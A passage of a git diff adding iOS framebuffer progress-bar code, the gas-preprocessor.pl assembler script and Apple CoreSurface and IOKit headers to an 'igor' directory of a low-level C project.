4*CGImageGetWidth(img), color, kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little); + CGColorSpaceRelease(color); + CGContextDrawImage(cgctx, CGRectMake(0, 0, CGImageGetWidth(img), CGImageGetHeight(img)), img); + CGContextRelease(cgctx); + CGImageRelease(img); + CGDataProviderRelease(provider); +} + +static void fb_swap() { + if(surface == oldsurface) { + // On iPhone, this makes it flash to black. + // Rather than figure out why, I will be lazy and not swap + // (because I don't have to). + return; + } + TRY(fb_swap_begin, IOMobileFramebufferSwapBegin(conn, NULL)); + TRY(fb_swap_sl1, IOMobileFramebufferSwapSetLayer(conn, 0, surface)); + TRY(fb_swap_sl1, IOMobileFramebufferSwapSetLayer(conn, 1, 0)); + TRY(fb_swap_sl1, IOMobileFramebufferSwapSetLayer(conn, 2, 0)); + TRY(fb_swap_end, IOMobileFramebufferSwapEnd(conn)); +} + +void gasgauge_init() { + char *names[] = { "AppleH1CLCD", "AppleM2CLCD", "AppleCLCD" }; + char *name; + io_service_t svc; + for(int i = 0; i < sizeof(names); i++) { + if(svc = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(name = names[i]))) + goto done; + } + TRY(find_a_lcd, false); + done: (void)0; + + TRY(fb_open, IOMobileFramebufferOpen(svc, mach_task_self(), 0, &conn)); + IOMobileFramebufferGetLayerDefaultSurface(conn, 0, &oldsurface); + memset(CoreSurfaceBufferGetBaseAddress(oldsurface), 0, CoreSurfaceBufferGetAllocSize(oldsurface)); + + if(!strcmp(name, "AppleCLCD")) { + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue); + int val = (int) 'ARGB'; // LE + CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + val = 768; + CFDictionarySetValue(dict, CFSTR("IOSurfaceHeight"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + CFDictionarySetValue(dict, CFSTR("IOSurfaceBufferTileMode"), kCFBooleanFalse); + val = 4096; + CFDictionarySetValue(dict, CFSTR("IOSurfaceBytesPerRow"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + val = 4; + CFDictionarySetValue(dict, CFSTR("IOSurfaceBytesPerElement"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + val = 3145728; + CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + val = 1024; + CFDictionarySetValue(dict, CFSTR("IOSurfaceWidth"), CFNumberCreate(NULL, kCFNumberSInt32Type, &val)); + CFDictionarySetValue(dict, CFSTR("IOSurfaceMemoryRegion"), CFSTR("PurpleGfxMem")); + + AST(iosurfacecreate, surface = (CoreSurfaceBufferRef) IOSurfaceCreate(dict)); + + fb_swap(); + + } else { + surface = oldsurface; + } + + // n.b. you can cast this to an IOSurfaceRef if necessary + // (and see IOSurfaceAPI.h for docs) + TRY(fb_lock, CoreSurfaceBufferLock(surface)); + void *base = CoreSurfaceBufferGetBaseAddress(surface); + memset(base, 0, CoreSurfaceBufferGetAllocSize(oldsurface)); + + draw_background(base); + + TRY(fb_unlock, CoreSurfaceBufferUnlock(surface)); + + fb_swap(); + + bufwidth = CoreSurfaceBufferGetWidth(surface); + bufheight = CoreSurfaceBufferGetHeight(surface); + flipped = false; + if(bufwidth > bufheight) { + bufwidth = CoreSurfaceBufferGetHeight(surface); + bufheight = CoreSurfaceBufferGetWidth(surface); + flipped = true; + } + barwidth = bufwidth * 0.8; +} + +static void memset32(void *buf, unsigned int val, size_t numwords) { + unsigned int *p = (unsigned int *) buf; + while(numwords--) *p++ = val; +} + +void gasgauge_set_progress(float progress) { + static size_t last_px = -1; + + size_t px = progress < 0 ? last_px : (progress * barwidth); + if(px > barwidth) px = barwidth; + if(px == last_px) return; + + //I("set_progress: px = %d", (int) px); + + TRY(fb_lock, CoreSurfaceBufferLock(surface)); + void *base = CoreSurfaceBufferGetBaseAddress(surface); + size_t barleft = (bufwidth - barwidth) / 2; + size_t bpr = CoreSurfaceBufferGetBytesPerRow(surface); + size_t bpp = 4; + + if(flipped) { + for(int y = barleft; y < barleft + barwidth; y++) { + memset32(((char *) base) + (bpr * (bufwidth - y)) + (bpp * (bufheight/2 - 1)), y >= px ? BAR_BG : BAR_FG, 2); + } + } else { + for(int y = bufheight/2 - 1; y < bufheight/2 + 1; y++) { + memset32(((char *) base) + (bpr * y) + (barleft * bpp), BAR_FG, px); + memset32(((char *) base) + (bpr * y) + ((barleft + px) * bpp), BAR_BG, (barwidth - px)); + } + } + + TRY(fb_unlock, CoreSurfaceBufferUnlock(surface)); + fb_swap(); + + last_px = px; +} + +void gasgauge_fini() { +} diff --git a/igor/fb.h b/igor/fb.h new file mode 100644 index 0000000..cc6bd48 --- /dev/null +++ b/igor/fb.h @@ -0,0 +1,3 @@ +void gasgauge_init(); +void gasgauge_set_progress(float); +void gasgauge_fini(); diff --git a/igor/gas-preprocessor.pl b/igor/gas-preprocessor.pl new file mode 100644 index 0000000..a8ccb2f --- /dev/null +++ b/igor/gas-preprocessor.pl @@ -0,0 +1,254 @@ +#!/usr/bin/env perl +# by David Conrad +# This code is licensed under GPLv2 or later; go to gnu.org to read it +# (not that it much matters for an asm preprocessor) +# usage: set your assembler to be something like "perl gas-preprocessor.pl gcc" +use strict; + +# Apple's gas is ancient and doesn't support modern preprocessing features like +# .rept and has ugly macro syntax, among other things. Thus, this script +# implements the subset of the gas preprocessor used by x264 and ffmpeg +# that isn't supported by Apple's gas. + +my @gcc_cmd = @ARGV; +my @preprocess_c_cmd; + +if (grep /\.c$/, @gcc_cmd) { + # C file (inline asm?) - compile + @preprocess_c_cmd = (@gcc_cmd, "-S"); +} elsif (grep /\.S$/, @gcc_cmd) { + # asm file, just do C preprocessor + @preprocess_c_cmd = (@gcc_cmd, "-E"); +} else { + die "Unrecognized input filetype"; +} +@gcc_cmd = map { /\.[cS]$/ ? qw(-x assembler -) : $_ } @gcc_cmd; +@preprocess_c_cmd = map { /\.o$/ ? "-" : $_ } @preprocess_c_cmd; + +open(ASMFILE, "-|", @preprocess_c_cmd) || die "Error running preprocessor"; + +my $current_macro = ''; +my %macro_lines; +my %macro_args; +my %macro_args_default; + +my @pass1_lines; + +# pass 1: parse .macro +# note that the handling of arguments is probably overly permissive vs. gas +# but it should be the same for valid cases +while () { + # comment out unsupported directives + s/\.type/@.type/x; + s/\.func/@.func/x; + s/\.endfunc/@.endfunc/x; + s/\.ltorg/@.ltorg/x; + s/\.size/@.size/x; + s/\.fpu/@.fpu/x; + + # the syntax for these is a little different + s/\.global/.globl/x; + # also catch .section .rodata since the equivalent to .const_data is .section __DATA,__const + s/(.*)\.rodata/.const_data/x; + s/\.int/.long/x; + s/\.float/.single/x; + + # catch unknown section names that aren't mach-o style (with a comma) + if (/.section ([^,]*)$/) { + die ".section $1 unsupported; figure out the mach-o section name and add it"; + } + + # macros creating macros is not handled (is that valid?) + if (/\.macro\s+([\d\w\.]+)\s*(.*)/) { + $current_macro = $1; + + # commas in the argument list are optional, so only use whitespace as the separator + my $arglist = $2; + $arglist =~ s/,/ /g; + + my @args = split(/\s+/, $arglist); + foreach my $i (0 .. $#args) { + my @argpair = split(/=/, $args[$i]); + $macro_args{$current_macro}[$i] = $argpair[0]; + $argpair[0] =~ s/:vararg$//; + $macro_args_default{$current_macro}{$argpair[0]} = $argpair[1]; + } + # ensure %macro_lines has the macro name added as a key + $macro_lines{$current_macro} = []; + } elsif (/\.endm/) { + if (!$current_macro) { + die "ERROR: .endm without .macro"; + } + $current_macro = ''; + } elsif ($current_macro) { + push(@{$macro_lines{$current_macro}}, $_); + } else { + expand_macros($_); + } +} + +sub expand_macros { + my $line = @_[0]; + if ($line =~ /(\S+:|)\s*([\w\d\.]+)\s*(.*)/ && exists $macro_lines{$2}) { + push(@pass1_lines, $1); + my $macro = $2; + + # commas are optional here too, but are syntactically important because + # parameters can be blank + my @arglist = split(/,/, $3); + my @args; + foreach (@arglist) { + my @whitespace_split = split(/\s+/, $_); + if (!@whitespace_split) { + push(@args, ''); + } else { + foreach (@whitespace_split) { + if (length($_)) { + push(@args, $_); + } + } + } + } + + my %replacements; + if ($macro_args_default{$macro}){ + %replacements = %{$macro_args_default{$macro}}; + } + + # construct hashtable of text to replace + foreach my $i (0 .. $#args) { + my $argname = $macro_args{$macro}[$i]; + + if ($args[$i] =~ m/=/) { + # arg=val references the argument name + # XXX: I'm not sure what the expected behaviour if a lot of + # these are mixed with unnamed args + my @named_arg = split(/=/, $args[$i]); + $replacements{$named_arg[0]} = $named_arg[1]; + } elsif ($i > $#{$macro_args{$macro}}) { + # more args given than the macro has named args + # XXX: is vararg allowed on arguments before the last? + $argname = $macro_args{$macro}[-1]; + if ($argname =~ s/:vararg$//) { + $replacements{$argname} .= ", $args[$i]"; + } else { + die "Too many arguments to macro $macro"; + } + } else { + $argname =~ s/:vararg$//; + $replacements{$argname} = $args[$i]; + } + } + + # apply replacements as regex + foreach (@{$macro_lines{$macro}}) { + my $macro_line = $_; + # do replacements by longest first, this avoids wrong replacement + # when argument names are subsets of each other + foreach (reverse sort {length $a <=> length $b} keys %replacements) { + $macro_line =~ s/\\$_/$replacements{$_}/g; + } + $macro_line =~ s/\\\(\)//g; # remove \() + expand_macros($macro_line); + } + } else { + push(@pass1_lines, $line); + } +} + +close(ASMFILE) or exit 1; +open(ASMFILE, "|-", @gcc_cmd) or die "Error running assembler"; + +my @sections; +my $num_repts; +my $rept_lines; + +my %literal_labels; # for ldr , = +my $literal_num = 0; + +# pass 2: parse .rept and .if variants +# NOTE: since we don't implement a proper parser, using .rept with a +# variable assigned from .set is not supported +foreach my $line (@pass1_lines) { + # textual comparison .if + # this assumes nothing else on the same line + if ($line =~ /\.ifnb\s+(.*)/) { + if ($1) { + $line = ".if 1\n"; + } else { + $line = ".if 0\n"; + } + } elsif ($line =~ /\.ifb\s+(.*)/) { + if ($1) { + $line = ".if 0\n"; + } else { + $line = ".if 1\n"; + } + } elsif ($line =~ /\.ifc\s+(.*)\s*,\s*(.*)/) { + if ($1 eq $2) { + $line = ".if 1\n"; + } else { + $line = ".if 0\n"; + } + } + + # handle .previous (only with regard to .section not .subsection) + if ($line =~ /\.(section|text|const_data)/) { + push(@sections, $line); + } elsif ($line =~ /\.previous/) { + if (!$sections[-2]) { + die ".previous without a previous section"; + } + $line = $sections[-2]; + push(@sections, $line); + } + + # handle ldr , = + if ($line =~ /(.*)\s*ldr([\w\s\d]+)\s*,\s*=(.*)/) { + my $label = $literal_labels{$3}; + if (!$label) { + $label = ".Literal_$literal_num"; + $literal_num++; + $literal_labels{$3} = $label; + } + $line = "$1 ldr$2, $label\n"; + } elsif ($line =~ /\.ltorg/) { + foreach my $literal (keys %literal_labels) { + $line .= "$literal_labels{$literal}:\n .word $literal\n"; + } + %literal_labels = (); + } + + # @l -> lo16() @ha -> ha16() + $line =~ s/,\s+([^,]+)\@l(\s)/, lo16($1)$2/g; + $line =~ s/,\s+([^,]+)\@ha(\s)/, ha16($1)$2/g; + + if ($line =~ /\.rept\s+(.*)/) { + $num_repts = $1; + $rept_lines = "\n"; + + # handle the possibility of repeating another directive on the same line + # .endr on the same line is not valid, I don't know if a non-directive is + if ($num_repts =~ s/(\.\w+.*)//) { + $rept_lines .= "$1\n"; + } + $num_repts = eval($num_repts); + } elsif ($line =~ /\.endr/) { + for (1 .. $num_repts) { + print ASMFILE $rept_lines; + } + $rept_lines = ''; + } elsif ($rept_lines) { + $rept_lines .= $line; + } else { + print ASMFILE $line; + } +} + +print ASMFILE ".text\n"; +print ASMFILE ".align 2\n"; +foreach my $literal (keys %literal_labels) { + print ASMFILE "$literal_labels{$literal}:\n .word $literal\n"; +} + +close(ASMFILE) or exit 1; diff --git a/igor/headers/CoreSurface/CoreSurface.h b/igor/headers/CoreSurface/CoreSurface.h new file mode 100644 index 0000000..e6ce2d9 --- /dev/null +++ b/igor/headers/CoreSurface/CoreSurface.h @@ -0,0 +1,52 @@ +#ifndef CORESURFACE_H +#define CORESURFACE_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef void * CoreSurfaceBufferRef; +typedef void * CoreSurfaceAcceleratorRef; + +/* Keys for the CoreSurfaceBufferCreate dictionary. */ +extern CFStringRef kCoreSurfaceBufferGlobal; /* CFBoolean */ +extern CFStringRef kCoreSurfaceBufferMemoryRegion; /* CFStringRef */ +extern CFStringRef kCoreSurfaceBufferPitch; /* CFNumberRef */ +extern CFStringRef kCoreSurfaceBufferWidth; /* CFNumberRef */ +extern CFStringRef kCoreSurfaceBufferHeight; /* CFNumberRef */ +extern CFStringRef kCoreSurfaceBufferPixelFormat; /* CFNumberRef (fourCC) */ +extern CFStringRef kCoreSurfaceBufferAllocSize; /* CFNumberRef */ +extern CFStringRef kCoreSurfaceBufferClientAddress; /* CFNumberRef */ + +CoreSurfaceBufferRef CoreSurfaceBufferCreate(CFDictionaryRef dict); +unsigned int CoreSurfaceBufferGetPixelFormatType(CoreSurfaceBufferRef surface); +unsigned int CoreSurfaceBufferGetID(CoreSurfaceBufferRef surface); +unsigned int CoreSurfaceBufferGetPlaneCount(CoreSurfaceBufferRef surface); + +int CoreSurfaceBufferLock(CoreSurfaceBufferRef surface); +int CoreSurfaceBufferUnlock(CoreSurfaceBufferRef surface); +int CoreSurfaceBufferWrapClientMemory(CoreSurfaceBufferRef surface); +void *CoreSurfaceBufferGetBaseAddress(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetAllocSize(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetWidth(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetHeight(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetBytesPerRow(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetBytesPerElement(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetElementWidth(CoreSurfaceBufferRef surface); +size_t CoreSurfaceBufferGetElementHeight(CoreSurfaceBufferRef surface); + +/* Set type to 0. */ +int CoreSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, + CoreSurfaceAcceleratorRef *accel); +unsigned int CoreSurfaceAcceleratorTransferSurfaceWithSwap( + CoreSurfaceAcceleratorRef accelerator, CoreSurfaceBufferRef dest, + CoreSurfaceBufferRef src, CFDictionaryRef options); + +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/igor/headers/IOKit/IOBSD.h b/igor/headers/IOKit/IOBSD.h new file mode 100644 index 0000000..8938656 --- /dev/null +++ b/igor/headers/IOKit/IOBSD.h @@ -0,0 +1,41 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +#ifndef _IOBSD_H +#define _IOBSD_H + +/* + * bsd-related registry properties + */ + +#define kIOBSDNameKey "BSD Name" // (an OSString) +#define kIOBSDNamesKey "BSD Names" // (an OSDictionary of OSString's, for links) +#define kIOBSDMajorKey "BSD Major" // (an OSNumber) +#define kIOBSDMinorKey "BSD Minor" // (an OSNumber) +#define kIOBSDUnitKey "BSD Unit" // (an OSNumber) + +#endif /* !_IOBSD_H */ diff --git a/igor/headers/IOKit/IOCFBundle.h b/igor/headers/IOKit/IOCFBundle.h new file mode 100644 index 0000000..f8d3f7f --- /dev/null +++ b/igor/headers/IOKit/IOCFBundle.h @@ -0,0 +1,35 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef __IOKIT_IOCFBUNDLE_H +#define __IOKIT_IOCFBUNDLE_H + +#include + +#define kIOBundleInfoDictionaryVersionKey CFSTR("CFBundleInfoDictionaryVersion") +#define kIOBundleExecutableKey CFSTR("CFBundleExecutable") +#define kIOBundleIdentifierKey CFSTR("CFBundleIdentifier") +#define kIOBundleVersionKey CFSTR("CFBundleVersion") +#define kIOBundleDevelopmentRegionKey CFSTR("CFBundleDevelopmentRegion") +#define kIOBundleNameKey CFSTR("CFBundleName") + +#endif /* __IOKIT_IOCFBUNDLE_H */ diff --git a/igor/headers/IOKit/IOCFPlugIn.h b/igor/headers/IOKit/IOCFPlugIn.h new file mode 100644 index 0000000..a0edcf9 --- /dev/null +++ b/igor/headers/IOKit/IOCFPlugIn.h @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef _IOKIT_IOCFPLUGIN_H_ +#define _IOKIT_IOCFPLUGIN_H_ + +/* IOCFPlugIn.h + */ +#include + +__BEGIN_DECLS + +#include +#if COREFOUNDATION_CFPLUGINCOM_SEPARATE +#include +#endif + +#include + +/* C244E858-109C-11D4-91D4-0050E4C6426F */ +#define kIOCFPlugInInterfaceID CFUUIDGetConstantUUIDWithBytes(NULL, \ + 0xC2, 0x44, 0xE8, 0x58, 0x10, 0x9C, 0x11, 0xD4, \ + 0x91, 0xD4, 0x00, 0x50, 0xE4, 0xC6, 0x42, 0x6F) + + +#define IOCFPLUGINBASE \ + UInt16 version; \ + UInt16 revision; \ + IOReturn (*Probe)(void *thisPointer, CFDictionaryRef propertyTable, \ + io_service_t service, SInt32 * order); \ + IOReturn (*Start)(void *thisPointer, CFDictionaryRef propertyTable, \ + io_service_t service); \ + IOReturn (*Stop)(void *thisPointer) + +typedef struct IOCFPlugInInterfaceStruct { + IUNKNOWN_C_GUTS; + IOCFPLUGINBASE; +} IOCFPlugInInterface; + + +kern_return_t +IOCreatePlugInInterfaceForService(io_service_t service, + CFUUIDRef pluginType, CFUUIDRef interfaceType, + IOCFPlugInInterface *** theInterface, SInt32 * theScore); + +kern_return_t +IODestroyPlugInInterface(IOCFPlugInInterface ** interface); + +__END_DECLS + +#endif /* !_IOKIT_IOCFPLUGIN_H_ */ diff --git a/igor/headers/IOKit/IOCFSerialize.h b/igor/headers/IOKit/IOCFSerialize.h new file mode 100644 index 0000000..2c0fc72 --- /dev/null +++ b/igor/headers/IOKit/IOCFSerialize.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1999-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* + * HISTORY + * + */ + +/* IOCFSerialize serializes CFObjects to a format suitable for passing + * to the kernel. */ + +#ifndef __IOKIT_IOCFSERIALIZE_H +#define __IOKIT_IOCFSERIALIZE_H + +#include +#include + +#if defined(__cplusplus) +extern "C" { +#endif + +enum { + kIOCFSerializeToBinary = 0x00000001 +}; + +CFDataRef +IOCFSerialize( CFTypeRef object, CFOptionFlags options ); + +#if defined(__cplusplus) +} +#endif + +#endif /* __IOKIT_IOCFSERIALIZE_H */ diff --git a/igor/headers/IOKit/IOCFURLAccess.h b/igor/headers/IOKit/IOCFURLAccess.h new file mode 100644 index 0000000..2116eac --- /dev/null +++ b/igor/headers/IOKit/IOCFURLAccess.h @@ -0,0 +1,84 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef __IOKIT_IOCFURLACCESS_H +#define __IOKIT_IOCFURLACCESS_H + +#include + +CFTypeRef IOURLCreatePropertyFromResource(CFAllocatorRef alloc, CFURLRef url, CFStringRef property, SInt32 *errorCode); + +Boolean IOURLCreateDataAndPropertiesFromResource(CFAllocatorRef alloc, CFURLRef url, CFDataRef *resourceData, CFDictionaryRef *properties, CFArrayRef desiredProperties, SInt32 *errorCode); + +Boolean IOURLWriteDataAndPropertiesToResource(CFURLRef url, CFDataRef dataToWrite, CFDictionaryRef propertiesToWrite, int32_t *errorCode); + +#ifdef HAVE_CFURLACCESS + +#define kIOURLFileExists kCFURLFileExists +#define kIOURLFileDirectoryContents kCFURLFileDirectoryContents +#define kIOURLFileLength kCFURLFileLength +#define kIOURLFileLastModificationTime kCFURLFileLastModificationTime +#define kIOURLFilePOSIXMode kCFURLFilePOSIXMode +#define kIOURLFileOwnerID kCFURLFileOwnerID + +/* Common error codes; this list is expected to grow */ + +typedef CFURLError IOURLError; + +enum { + kIOURLUnknownError = kCFURLUnknownError, + kIOURLUnknownSchemeError = kCFURLUnknownSchemeError, + kIOURLResourceNotFoundError = kCFURLResourceNotFoundError, + kIOURLResourceAccessViolationError = kCFURLResourceAccessViolationError, + kIOURLRemoteHostUnavailableError = kCFURLRemoteHostUnavailableError, + kIOURLImproperArgumentsError = kCFURLImproperArgumentsError, + kIOURLUnknownPropertyKeyError = kCFURLUnknownPropertyKeyError, + kIOURLPropertyKeyUnavailableError = kCFURLPropertyKeyUnavailableError, + kIOURLTimeoutError = kCFURLTimeoutError +}; + +#else /* !HAVE_CFURLACCESS */ + +#define kIOURLFileExists CFSTR("kIOURLFileExists") +#define kIOURLFileDirectoryContents CFSTR("kIOURLFileDirectoryContents") +#define kIOURLFileLength CFSTR("kIOURLFileLength") +#define kIOURLFileLastModificationTime CFSTR("kIOURLFileLastModificationTime") +#define kIOURLFilePOSIXMode CFSTR("kIOURLFilePOSIXMode") +#define kIOURLFileOwnerID CFSTR("kIOURLFileOwnerID") + +/* Common error codes; this list is expected to grow */ + +typedef enum { + kIOURLUnknownError = -10, + kIOURLUnknownSchemeError = -11, + kIOURLResourceNotFoundError = -12, + kIOURLResourceAccessViolationError = -13, + kIOURLRemoteHostUnavailableError = -14, + kIOURLImproperArgumentsError = -15, + kIOURLUnknownPropertyKeyError = -16, + kIOURLPropertyKeyUnavailableError = -17, + kIOURLTimeoutError = -18 +} IOURLError; + +#endif /* !HAVE_CFURLACCESS */ + +#endif /* __IOKIT_IOCFURLACCESS_H */ diff --git a/igor/headers/IOKit/IOCFUnserialize.h b/igor/headers/IOKit/IOCFUnserialize.h new file mode 100644 index 0000000..54e3eb2 --- /dev/null +++ b/igor/headers/IOKit/IOCFUnserialize.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* IOUnserialize.h created by rsulack on Mon 23-Nov-1998 */ +/* IOCFUnserialize.h creates CF collections Mon 30-Aug-1999 */ + +#ifndef __IOKIT_IOCFUNSERIALIZE_H +#define __IOKIT_IOCFUNSERIALIZE_H + +#include +#include + +#if defined(__cplusplus) +extern "C" { +#endif + +// on success IOCFUnserialize sets errorString to 0 and returns +// the unserialized object. + +// on failure IOCFUnserialize sets errorString to a CFString object +// containing a error message suitable for logging and returns 0 + +CFTypeRef +IOCFUnserialize(const char *buffer, + CFAllocatorRef allocator, + CFOptionFlags options, + CFStringRef *errorString); + +#if defined(__cplusplus) +} +#endif + +#endif /* __IOKIT_IOCFUNSERIALIZE_H */ diff --git a/igor/headers/IOKit/IODataQueueClient.h b/igor/headers/IOKit/IODataQueueClient.h new file mode 100644 index 0000000..66894ba --- /dev/null +++ b/igor/headers/IOKit/IODataQueueClient.h @@ -0,0 +1,105 @@ +/* + * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ + +#ifndef _IOKITUSER_IODATAQUEUE_H +#define _IOKITUSER_IODATAQUEUE_H + +#include + +__BEGIN_DECLS +#include +#include +#include +#include +#include + +/*! + * @function IODataQueueDataAvailable + * @abstract Used to determine if more data is avilable on the queue. + * @param dataQueue The IODataQueueMemory region mapped from the kenel. + * @result Returns true if data is available and false if not. + */ +Boolean IODataQueueDataAvailable(IODataQueueMemory *dataQueue); + +/*! + * @function IODataQueuePeek + * @abstract Used to peek at the next entry on the queue. + * @discussion This function can be used to look at the next entry which allows the entry to be received without having to copy it with IODataQueueDequeue. In order to do this, call IODataQueuePeek to get the entry. Then call IODataQueueDequeue with a NULL data pointer. That will cause the head to be moved to the next entry, but no memory to be copied. + * @param dataQueue The IODataQueueMemory region mapped from the kernel. + * @result Returns a pointer to the next IODataQueueEntry if one is available. Zero is returned if the queue is empty. + */ +IODataQueueEntry *IODataQueuePeek(IODataQueueMemory *dataQueue); + +/*! + * @function IODataQueueDequeue + * @abstract Dequeues the next available entry on the queue and 